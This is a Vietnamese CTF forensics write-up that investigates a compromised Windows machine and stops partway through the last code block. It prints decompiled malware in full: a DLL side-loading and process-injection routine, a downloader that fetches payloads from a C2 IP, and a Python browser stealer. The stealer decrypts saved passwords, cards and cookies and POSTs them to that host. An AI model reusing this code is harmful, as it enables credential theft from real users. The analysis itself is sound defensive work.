---
# System prepended metadata

title: Breadcrumbs

---

# Breadcrumbs
> L3akCTF 2025

![image](https://hackmd.io/_uploads/HJAQ8V80lg.png)

Description cho biết máy của một nhân viên bắt đầu có những biểu hiện lạ, những file lạ xuất hiện và hiệu năng hệ thông giảm xuống, ta cần phải điều tra xem đã xảy ra chuyện gì

Bài cho ta 3 file bao gồm
- File memory dump: `memdump.mem`
- File network capture: `traffic.pcapng`
- Disk image: `disk.ad1`

## Phân tích memory dump

Đầu tiên, sử dụng Volatility 3 để phân tích file memory dump, dùng plugin `windows.info` để xem thông tin về OS của máy

![image](https://hackmd.io/_uploads/SkeAvEIRgx.png)

Có thể thấy memory image này được capture từ một máy tính sử dụng Windows 10 64 bit với thời gian cho thấy memory được trích xuất vào ngày 16/6/2025

### Liệt kê các running process

Tiếp theo ta sẽ liệt kê các process đã chạy trên máy vào thời điểm capture memory này gồm những process nào bằng plugin `windows.pslist`

Khi đó nhận thấy có 3 process khá đáng ngờ như sau

![image](https://hackmd.io/_uploads/r1R3uNIAle.png)

Thường thì `7za.exe` là file thực thi của tool 7-Zip, nhưng ở đây nó lại là parent process của cả `conhost.exe` và `msedge.exe` lại rất không bình thường. Bởi vì `conhost.exe` thường là child process của `cmd.exe` chứ không phải `7za.exe`. Còn `msedge.exe` là trình duyệt Microsoft Edge nên không thể mở từ một tool để nén và giải nén như 7-Zip được

### Xác định vị trí file trong bộ nhớ

Trước khi dump file đó ra thì ta cần xác định địa chỉ của nó, bằng cách sử dụng plugin `windows.filescan`. Ta sẽ lưu output ra một file txt để nhìn cho dễ

![image](https://hackmd.io/_uploads/HJ5aqN8Ceg.png)

Sử dụng lệnh `cat` pipe với `grep` để tìm path của `7za.exe`

![image](https://hackmd.io/_uploads/H1dbjEUClx.png)

Như vậy có thể thấy nó có địa chỉ là `0xd484d8429c40`

### Dump process
Bây giờ có thể sử dụng plugin `windows.dumpfiles` để dump file đó ra 

![image](https://hackmd.io/_uploads/r1OynNIAle.png)

### Khám phá directory của 7za.exe

Trước khi tiếp tục thì nên kiểm tra xem cùng folder với `7za.exe` còn gì nữa không, vì thường thì kẻ tấn công sẽ đặt những payload độc hại cùng với file nhị phân để có thể exploit DLL side-loading

Trước đó ta thấy `7za.exe` được đặt ở folder Downloads, nên để tìm thì chỉ cần cat và grep `Downloads`

![image](https://hackmd.io/_uploads/rk9JA480ge.png)

Có thể thấy ngay file `cryptbase.dll` ở đó
Thường thì file này là một file Windows DLL legit được sử dụng bởi Windows Crypto API để thực hiện những hàm mã hóa bậc thấp. File này thường được tìm thấy ở `C:\Windows\System32` và được load bởi nhiều process đáng tin cậy

Nhưng ở đây cryptbase.dll lại không ở System32 như đã nói bên trên, đặc biệt lại còn nằm cùng với `7za.exe`, điều này rất bất thường và có thể là DLL side-loading, khi mà file DLL độc hại giả làm một file DLL đáng tin cậy

DLL side-loading là kĩ thuật khi kẻ tấn công đặt một DLL độc hại cùng directory với một file thực thi đáng tin cậy. Khi file thực thi được chạy, nó có thể load DLL của kẻ tấn công thay vì DLL thật của hệ thống, vì cách mà Windows tìm DLL là dựa vào directory hiện tại trước. Điều này cho phép kẻ tấn công thực thi code dưới dạng một process hợp pháp, thường sẽ tránh được việc bị phát hiện

Tiếp theo ta cần dump file này ra, trước đó đã có được địa chỉ của nó là `0xd484d8922bc0`, tiếp tục sử dụng plugin windows.dumpfiles

![image](https://hackmd.io/_uploads/B1PLeBICxg.png)

### Reverse cryptbase.dll trong IDA
Tiếp theo ta cần RE file cryptbase.dll để hiểu hơn về nó. Load vào IDA để xem các hàm, entry point, tìm các dấu hiệu của process injection, shellcode execution hay các API call đáng nghi

```cpp
int sub_7FFED6511000()
{
  HRSRC ResourceW; // rax
  HRSRC v1; // rdi
  DWORD v2; // ebx
  HGLOBAL Resource; // rax
  HRSRC v4; // rbp
  SIZE_T v5; // rsi
  HRSRC v6; // rdi
  DWORD v7; // edx
  HRSRC v8; // rcx
  __int64 v9; // rax
  DWORD (__stdcall *v10)(LPVOID); // rbx
  HRSRC v11; // rbx
  HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF
  DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF
  SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF
  struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF

  lpStartupInfo.cb = 104;
  memset(&lpStartupInfo.lpReserved, 0, 96);
  LODWORD(ResourceW) = CreateProcessW(
                         L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                         0,
                         0,
                         0,
                         0,
                         4u,
                         0,
                         0,
                         &lpStartupInfo,
                         &ProcessInformation);
  if ( (_DWORD)ResourceW )
  {
    phModule = 0;
    LODWORD(ResourceW) = GetModuleHandleExW(4u, (LPCWSTR)sub_7FFED6511000, &phModule);
    if ( (_DWORD)ResourceW )
    {
      ResourceW = FindResourceW(phModule, (LPCWSTR)0x65, L"SHELL");
      v1 = ResourceW;
      if ( ResourceW )
      {
        v2 = SizeofResource(phModule, ResourceW);
        Resource = LoadResource(phModule, v1);
        ResourceW = (HRSRC)LockResource(Resource);
        v4 = ResourceW;
        if ( ResourceW )
        {
          if ( v2 )
          {
            v5 = v2;
            ResourceW = (HRSRC)VirtualAlloc(0, v2, 0x1000u, 0x40u);
            v6 = ResourceW;
            if ( ResourceW )
            {
              sub_7FFED651D400(ResourceW, v4, v2);
              v7 = 0;
              v8 = v6;
              do
              {
                v8 = (HRSRC)((char *)v8 + 1);
                v9 = v7++ & 0xF;
                *((_BYTE *)v8 - 1) ^= aX7qp9zlma2vtej[v9];
              }
              while ( v7 < v2 );
              ResourceW = (HRSRC)VirtualAllocEx(ProcessInformation.hProcess, 0, v2, 0x3000u, 0x40u);
              v10 = (DWORD (__stdcall *)(LPVOID))ResourceW;
              if ( ResourceW )
              {
                NumberOfBytesWritten = 0;
                LODWORD(ResourceW) = WriteProcessMemory(
                                       ProcessInformation.hProcess,
                                       ResourceW,
                                       v6,
                                       v5,
                                       &NumberOfBytesWritten);
                if ( (_DWORD)ResourceW )
                {
                  ResourceW = (HRSRC)CreateRemoteThread(ProcessInformation.hProcess, 0, 0, v10, 0, 0, 0);
                  v11 = ResourceW;
                  if ( ResourceW )
                  {
                    ExitCode = 0;
                    GetExitCodeThread(ResourceW, &ExitCode);
                    CloseHandle(v11);
                    CloseHandle(ProcessInformation.hThread);
                    CloseHandle(ProcessInformation.hProcess);
                    LODWORD(ResourceW) = VirtualFree(v6, 0, 0x8000u);
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return (int)ResourceW;
}
```

Khi mở trên IDA thấy hàm `sub_7FFED6511000` thực hiện kĩ thuật process injection cổ điển sử dụng shellcode payload nhúng trong resource của DLL, sau đây là các bước chính của hàm trên:

**1. Tạo suspended process**
- Mở Microsoft Edge (`msedge.exe`) bằng  `CreateProcessW` với flag`CREATE_SUSPENDED` vì argument thứ 4 được đặt là `4u`, 

**2. Extract shellcode từ resource**
- Nhận resource `SHELL` với ID `0x65` qua `FindResourceW` 
- Load và khóa resource bằng `LoadResource` và `LockResource`
- Giải mã shellcode bằng cách XOR nó với key 16-byte được mã hóa cứng: `aX7qp9zlma2vtej`

**3. Inject shellcode vào Edge**
- Cấp phát bộ nhớ bên trong process `msedge.exe` bằng `VirtualAllocEx`
- Viết shellcode đã được giải mã vào remote process với `WriteProcessMemory`

**4. Thực thi payload**
- Gọi `CreateRemoteThread` để chạy shellcode đã được inject bên trong process `msedge.exe` đã bị suspend
- Sau đó là dọn dẹp bộ nhớ sau khi thực thi

Có thể thấy hàm này là một hàm code injection rất tinh vi, DLL dùng `msedge.exe` để thực thi shellcode ẩn bên trong resource section của chính nó, né tránh bị phát hiện bởi sử dụng file nhị phân mà hệ thống đã tin cậy

### Extract và giải mã shellcode 
![image](https://hackmd.io/_uploads/SJ0qhI80xg.png)

Ta đã có được XOR key để giải mã, tiếp theo dùng Resource Hacker để extract resource của SHELL từ `cryptbase.dll`

![image](https://hackmd.io/_uploads/rJiUDBL0gg.png)

Tiếp theo sử dụng script python sau để giải mã
```python=
key = b'X7qP9zLmA2VtEjC0'
with open('SHELL101.bin', 'rb') as f:
    data = bytearray(f.read())

for i in range(len(data)):
    data[i] ^= key[i % len(key)]

with open('decrypted_shellcode.bin', 'wb') as f:
    f.write(data)
```

Khi đó có file `decrypted_shellcode.bin` chứa payload thực sự mà đã được inject vào `msedge.exe`

Khi mở file đó lên trong HxD thì thấy vài byte đầu tiên có dạng `E8 00 00 00 00 59 49 89 C8`

![image](https://hackmd.io/_uploads/Hk6cTLIRex.png)

Những byte này là dấu hiệu rõ ràng của Shellcode Reflective DLL Injection (SRDI)
- `E8 00 00 00 00` là `call $+5`, một instruction cơ bản trong shellcode để đẩy con trỏ instruction hiện tại vào stack
- `59` là `pop rcx`, là nhận con trỏ đó
- `49 89 C8` là `mov r8, rcx`, là chuẩn bị gọi hàm

Đó là những signature của shellcode được generate bằng tool [Shellcode RDI](https://github.com/monoxgas/sRDI)

![image](https://hackmd.io/_uploads/BJZRALU0ee.png)

Có thể thấy `E8 00 00 00 00`, trùng với những gì đã tìm được ở file

Như vậy, `cryptbase.dll` resource được chuyển đổi thành position-independent shellcode bằng kĩ thuật ShellcodeRDI. Điều này khẳng định shellcode nhúng thực chất là để biểu diễn reflective loader của một DLL

Giờ đã xác định được format, ta có thể extract DLL gốc từ `decrypted_shellcode.bin`

### Extract DLL gốc từ shellcode
Đã biết được shellcode là ShellcodeRDI-wrapped DLL, ta có thể extract DLL được nhúng bằng cách sử dụng binwalk như sau

```bash
binwalk --extract --dd=".*" decrypted_shellcode.bin
```
![image](https://hackmd.io/_uploads/ryyogPU0lx.png)

- `-e`: extract
- `--dd=".*"`: extract mọi signature mà binwalk tìm thấy

Thấy `B28` là file thực thi nên ta sẽ load nó vào trong IDA
![image](https://hackmd.io/_uploads/HJcEbv8Cex.png)

Ở hàm RunME_0 ta thấy được chức năng chính là một downloader độc hại
```cpp
...v0 = 2147483646;
  if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) >= 0 )
  {
    v1 = 260;
    v2 = v40;
    do
    {
      if ( v1 == -2147483386 )
        break;
      v3 = v2[pszPath - v40];
      if ( !v3 )
        break;
      *v2++ = v3;
      --v1;
    }
    while ( v1 );
    v4 = v2 - 1;
    if ( v1 )
      v4 = v2;
    v5 = 260;
    *v4 = 0;
    v6 = v40;
    do
    {
      if ( !*v6 )
        break;
      ++v6;
      --v5;
    }
    while ( v5 );
    v7 = 260 - v5;
    if ( v5 )
    {
      v8 = &v40[v7];
      v9 = 260 - v7;
      if ( v7 != 260 )
      {
        v10 = 2147483646;
        v11 = (char *)("\\encrypted.bin" - v8);
        do
        {
          if ( !v10 )
            break;
          v12 = v8[(_QWORD)v11];
          if ( !v12 )
            break;
          *v8 = v12;
          --v10;
          ++v8;
          --v9;
        }
        while ( v9 );
      }
      v13 = v8 - 1;
      if ( v9 )
        v13 = v8;
      *v13 = 0;
    }
    URLDownloadToFileA(0, "https://10.10.70.114/encrypted.bin", v40, 0, 0);
  }
  v14 = 260;
  v15 = v41;
  do
  {
    if ( v14 == -2147483386 )
      break;
    v16 = v15[pszPath - v41];
    if ( !v16 )
      break;
    *v15++ = v16;
    --v14;
  }
  while ( v14 );
  v17 = v15 - 1;
  if ( v14 )
    v17 = v15;
  v18 = 260;
  *v17 = 0;
  v19 = v41;
  do
  {
    if ( !*v19 )
      break;
    ++v19;
    --v18;
  }
  while ( v18 );
  v20 = 260 - v18;
  if ( v18 )
  {
    v21 = &v41[v20];
    v22 = 260 - v20;
    if ( v20 != 260 )
    {
      v23 = 2147483646;
      v24 = (char *)("\\2.txt" - v21);
      do
      {
        if ( !v23 )
          break;
        v25 = v21[(_QWORD)v24];
        if ( !v25 )
          break;
        *v21 = v25;
        --v23;
        ++v21;
        --v22;
      }
      while ( v22 );
    }
    v26 = v21 - 1;
    if ( v22 )
      v26 = v21;
    *v26 = 0;
  }
  URLDownloadToFileA(0, "https://10.10.70.114/2.txt", v41, 0, 0);
  URLDownloadToFileA(0, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0);
  result = SHGetFolderPathA(0, 7, 0, 0, v43);
  if ( result >= 0 )
  {
    v28 = 260;
    v29 = v40;
    do
    {
      if ( v28 == -2147483386 )
        break;
      v30 = v29[v43 - v40];
      if ( !v30 )
        break;
      *v29++ = v30;
      --v28;
    }
    while ( v28 );
    v31 = v29 - 1;
    if ( v28 )
      v31 = v29;
    v32 = 260;
    *v31 = 0;
    v33 = v40;
    do
    {
      if ( !*v33 )
        break;
      ++v33;
      --v32;
    }
    while ( v32 );
    v34 = 260 - v32;
    if ( v32 )
    {
      v35 = &v40[v34];
      v36 = 260 - v34;
      if ( 260 != v34 )
      {
        v37 = (char *)("\\sctask.exe" - v35);
        do
        {
          if ( !v0 )
            break;
          v38 = v35[(_QWORD)v37];
          if ( !v38 )
            break;
          *v35 = v38;
          --v0;
          ++v35;
          --v36;
        }
        while ( v36 );
      }
      v39 = v35 - 1;
      if ( v36 )
        v39 = v35;
      *v39 = 0;
    }
    return URLDownloadToFileA(0, "https://10.10.70.114/sctasks.exe", v40, 0, 0);
  }
  return result;
}
```

Đoạn code này gọi API `URLDownloadToFileA` nhiều lần để nhận file từ một remote server

Nó tải các file sau từ C2 server
- `encrypted.bin`
- `2.txt`
- `sctask.exe`

Nó cũng kết nối tới `https://10.10.70.114/L3AK{AV_evasion_is_easy`

Như vậy ta đã có được part 1 của flag, đó là `L3AK{AV_evasion_is_easy`

## Phân tích traffic capture
Ta đã tìm được C2 IP là `10.10.70.114`, vì vậy khi mở file `traffic.pcapng` trên Wireshark, cần áp dụng filter `ip.addr == 10.10.70.114`
![image](https://hackmd.io/_uploads/SyWbQPLCgl.png)

### Quan sát encrypted channel
Giao tiếp giữa `10.10.70.114` (kẻ tấn công) và `10.10.70.140` (nạn nhân) được thực hiện qua **TLS 1.2**, như đã thấy bên trên

Trong khi **TLS 1.2** vẫn được sử dụng rộng rãi và nhìn chung vẫn bảo mật, tuy nhiên nó vẫn thiếu vài biện pháp bảo mật hiện đại hơn có trong **TLS 1.3** như:
- Bảo mật chuyển tiếp theo mặc định
- Loại bỏ các mã hóa cũ và thuật toán không an toàn
- Giảm khả năng bị lộ metadata

Để hiểu rõ hơn về các tham số mã hóa, ta xét packet số 10 trong Wireshark, bao gồm các message của Server Hello, Certificate và Server Hello Done

![image](https://hackmd.io/_uploads/SyKMNPLCgl.png)

Các trường này cung cấp thông tin chi tiết về cấu hình TLS được sử dụng bởi máy chủ do kẻ tấn công kiểm soát (`10.10.70.114`):
- TLS Version: TLS 1.2
- Cipher Suite: `TLS_RSA_WITH_AES_256_GCM_SHA384`
- Key Exchange: RSA

Cipher suite này được coi là yếu trong các tiêu  chuẩn hiện đại, RSA key change thiếu tính bảo mật chuyển tiếp

### Extract và phân tích TLS Certificate
Ta đã xác định được TLS handshake, giờ có thể extract server certificate từ message `Server Hello`

![image](https://hackmd.io/_uploads/ryA5BvL0le.png)

Sau đó lưu vào file `my_certificate.txt`
![image](https://hackmd.io/_uploads/BJC1IDLReg.png)

Sau đó chuyển chuỗi hex trong đó thành nhị phân

![image](https://hackmd.io/_uploads/B11SvP8Cxe.png)

Tiếp theo dùng `openssl` để xem chi tiết metadata và các mã hóa của nó bằng lệnh sau
```
openssl x509 -in certificate.crt -inform DER -text -noout -modulus
```

- `-in certificate.crt`: file input
- `-inform DER`: nói rằng format là binary DER
- `-text`: hiển thị certificate ở dạng người đọc được
- `-noout`: Bỏ qua output được mã hóa base64
- `-modulus`: Hiển thị public key modulus 

Khi đó nó sẽ output ra như sau

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
        Validity
            Not Before: Jun 15 01:09:12 2025 GMT
            Not After : Jun 15 01:09:12 2026 GMT
        Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1323 bit)
                Modulus:
                    04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5:
                    27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4:
                    51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59:
                    22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c:
                    a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b:
                    35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa:
                    15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91:
                    d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3:
                    d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b:
                    e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00:
                    00:00:00:00:00:00:00:00:00:00:00:00:00:01:32:
                    99
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
            X509v3 Authority Key Identifier:
                AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45:
        47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb:
        25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76:
        8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31:
        e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42:
        f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a:
        93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b:
        4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6:
        f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6:
        34:42:ed:ec
Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299
```

Modulus là quan trọng trong RSA, modulus (n) là một số to được suy ra từ phép nhân hai số nguyên tố lớn `(p * q)`. Độ bảo mật của nó hoàn toàn phụ thuộc vào độ khó của việc phân tích thừa số (factoring) này.

Nếu modulus yếu (quá nhỏ, kích thước không chuẩn như 1323 bit, hoặc generate ra kém), nó có thể bị phân tích thừa số, từ đó suy ra private key và giải mã được TLS traffic

### Thử factor modulus
Ta có thể check xem modulus này có đủ khỏe không bằng [FactorDB](https://factordb.com/)

RSA modulus được extract từ certificate có dạng hexadecimal như sau
`45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299`

Tiếp theo cần convert từ hex sang decimal để dùng được trong FactorDB, dùng [RapidTables Hex to Decimal Converter](https://www.rapidtables.com/convert/number/hex-to-decimal.html)

Có được giá trị decimal: 
`100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078489`

Paste vào FactorDB và có được kết quả như sau
![image](https://hackmd.io/_uploads/rJgi9wLClx.png)
Như vậy RSA modulus extract từ TLS certificate đã được factor, ra được 2 số nguyên tố sau
- p = `10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153`
- q = `10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513`

2 số này cho phép chúng ta xây dựng tại private key được liên kết với TLS certificate

### Xây dựng lại RSA private key
Ta đã có cả `p` và `q`, có thể generate RSA private key bằng [rsatool](https://github.com/ius/rsatool) với format lệnh là `python3 rsatool.py -p <prime_p> -q <prime_q> -o private.key`

Áp dụng với p và q đã có
![image](https://hackmd.io/_uploads/HyKosv8Agx.png)

### Giải mã TLS traffic trong Wireshark
Giờ ta đã xây dựng lại RSA private key thành công, có thể sử dụng nó để giải mã traffic bị mã hóa TLS trong file capture

Với file private key đã lưu dưới dạng PEM `privatekey.pem`, trong Wireshark
- Chọn `Edit` -> `Preferences`
- Mở rộng `Protocols` -> chọn `TLS`
- Chọn `Edit` trên RSA Keys List và thêm các thông tin sau
    - IP address: 10.10.70.114
    - Port: 443
    - Protocol: Để trống
    - Key File: Path đến private.key
    - Password: Để trống

![image](https://hackmd.io/_uploads/S1fJaw8Cgg.png)

Apply và khởi động lại Wireshark

Giờ thì các gói tin TLS giữa kẻ tấn công và nạn nhân đã được giải mã, hiện ra plaintext của thông tin giao tiếp

### Xác định các file
Ta có thể xem các HTTP objects được trao đổi giữa 2 người, như đã thấy trước đó khi RE file `cryptbase.dll`, các file sau được tải về từ server
- `2.txt`
- `encrypted.bin`
- `sctasks.exe`

Những file này có thể thấy rõ ràng ở traffic đã được giải mã

![image](https://hackmd.io/_uploads/SyHo6wIClx.png)

Như vậy, kẻ tấn công đã sử dụng HTTPS traffic để chuyển nhiều payload đến máy của nạn nhân. Sau khi giải mã TLS, ta có thể extract và phân tích những file đó

### Phân tích các file
`2.txt`
- Gồm part 2 của flag
`_Mastering_forensics_`
![image](https://hackmd.io/_uploads/rJuL0PL0xg.png)

`encrypted.bin`
- Gồm dữ liệu bị mã hóa

`sctasks.exe`
- File thực thi

Như vậy đã có được part 2 của flag
`_Mastering_forensics_`

## Phân tích disk
Tiếp theo ta sẽ phân tích disk image
### Phân tích sctasks.exe
Load vào [Detect It Easy](https://github.com/horsicq/Detect-It-Easy) để xem nó được viết bằng ngôn ngữ gì
![image](https://hackmd.io/_uploads/HkgHGdIAxe.png)

Như vậy là python, có lẽ được đóng gói bởi tool như PyInstaller. Điều này cho thấy malware được viết payload bằng python và được convert sang `.exe` để chạy trên Windows

### Sử dụng pyinstxtractor
Tiếp theo sử dụng [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor), một script python phổ biển để extract nội dung từ các file thực thi được đóng gói với PyInstaller

- PyInstaller đóng gói script Python và tất cả các phụ thuộc của nó vào một file `.exe`,
- `pyinstxtractor.py` quét file `.exe` để tìm các header cụ thể của PyInstaller
- Sau đó nó extract các file nhúng, bao gồm script python chính và các module hỗ trợ ra một folder
- File `.pyc` được extract có thể được decompile lại thành .py bằng tool như Pylingual hay uncompyle6.

![image](https://hackmd.io/_uploads/SkFa7O80ll.png)

### Decompile browser_stealer.pyc
Có thể thấy file `browser_stealer.pyc`, dùng [Pylingual](https://pylingual.io/)
- Pylingual đọc một file `.pyc`
- Tự động phát hiện phiên bản python
- Xây dựng lại source code Python gốc
- Xử lý việc decompile giữa các phiên bản khác nhau, ngay cả đối với các format `.pyc` mới hơn

Sau khi decompile, ta có script Python gốc như sau

```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: browser_stealer.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import base64
import json
import os
import shutil
import sqlite3
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
appdata = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'}
data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads'

def get_master_key(path: str):
    if not os.path.exists(path):
        pass  # postinserted
    return None

def decrypt_password(buff: bytes, key: bytes) -> str:
    iv = buff[3:15]
    payload = buff[15:(-16)]
    cipher = AES.new(key, AES.MODE_GCM, iv)
    decrypted_pass = cipher.decrypt(payload)
    decrypted_pass = decrypted_pass.decode()
    return decrypted_pass

def save_results(browser_name, type_of_data, content):
    if content:
        url = 'http://10.10.70.114:443'
        data = {'browser': browser_name, 'type': type_of_data, 'content': content}
        try:
            response = requests.post(url, json=data)
            if response.status_code == 200:
                print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}')
            return None
    else:  # inserted
        return None
    except Exception as e:
        print(f'\t [-] Error sending data: {e}')
        return None

def decrypt_my_data(encrypted_file):
    with open('encrypted.bin', 'rb') as f:
        content = f.read()
    iv = '1234567891011123'
    encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
    key = CryptUnprotectData(content, None, None, None, 0)[1]
    key = bytes.fromhex(key)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    data = cipher.decrypt(encrypted_data)
    return decrypt_my_data

def get_data(path: str, profile: str, key, type_of_data):
    db_file = f"{path}\\{profile}{type_of_data['file']}"
    if not os.path.exists(db_file):
        pass  # postinserted
    return None

def convert_chrome_time(chrome_time):
    return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S')

def installed_browsers():
    available = []
    for x in browsers.keys():
        if os.path.exists(browsers[x] + '\\Local State'):
            pass  # postinserted
        else:  # inserted
            available.append(x)
    return available
if __name__ == '__main__':
    available_browsers = installed_browsers()
    for browser in available_browsers:
        browser_path = browsers[browser]
        master_key = get_master_key(browser_path)
        print(f'Getting Stored Details from {browser}')
        for data_type_name, data_type in data_queries.items():
            print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}")
            notdefault = ['opera-gx']
            profile = 'Default'
            profile = '' if browser in notdefault else ''
            data = get_data(browser_path, profile, master_key, data_type)
            save_results(browser, data_type_name, data)
            print('\t------\n')
```

Đoạn script này là một browser data staler, dùng để
- Extract mật khẩu, cookie, thông tin credit card, lịch sử, lịch sử download từ các Chromium-based browser
- Giải mã các credentials được lưu bằng Windows DPAPI và master key lưu ở file Local State của browser
- Gửi dữ liệu đã đánh cắp được đến remote server `http://10.10.70.114:443` bàng phương thức HTTP POST

Một số chức năng cần lưu ý:
- Nhắm đến các browser như Chrome, Edge, Brave, Opera GX,...
- Gửi dữ liệu đến C2 dưới dạng JSON (`requests.post()`)
- Hỗ trợ nhiều browser profile và loại dữ liệu (Login Data, Cookies, History,...)
- Chứa hardcoded IV và các tham chiếu để giải mã `encrypted.bin` (mà ta đã tải trước đó)
 
### Hàm decrypt_my_data()
Hàm này giải mã nội dung của `encrypted.bin`, có thể chứa nội dung part 3 của flag

```python=
def decrypt_my_data(encrypted_file):
    with open('encrypted.bin', 'rb') as f:
        content = f.read()
    iv = '1234567891011123'
    encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
    key = CryptUnprotectData(content, None, None, None, 0)[1]
    key = bytes.fromhex(key)
    cipher = AES.new(key, AES.MODE_CBC, iv)
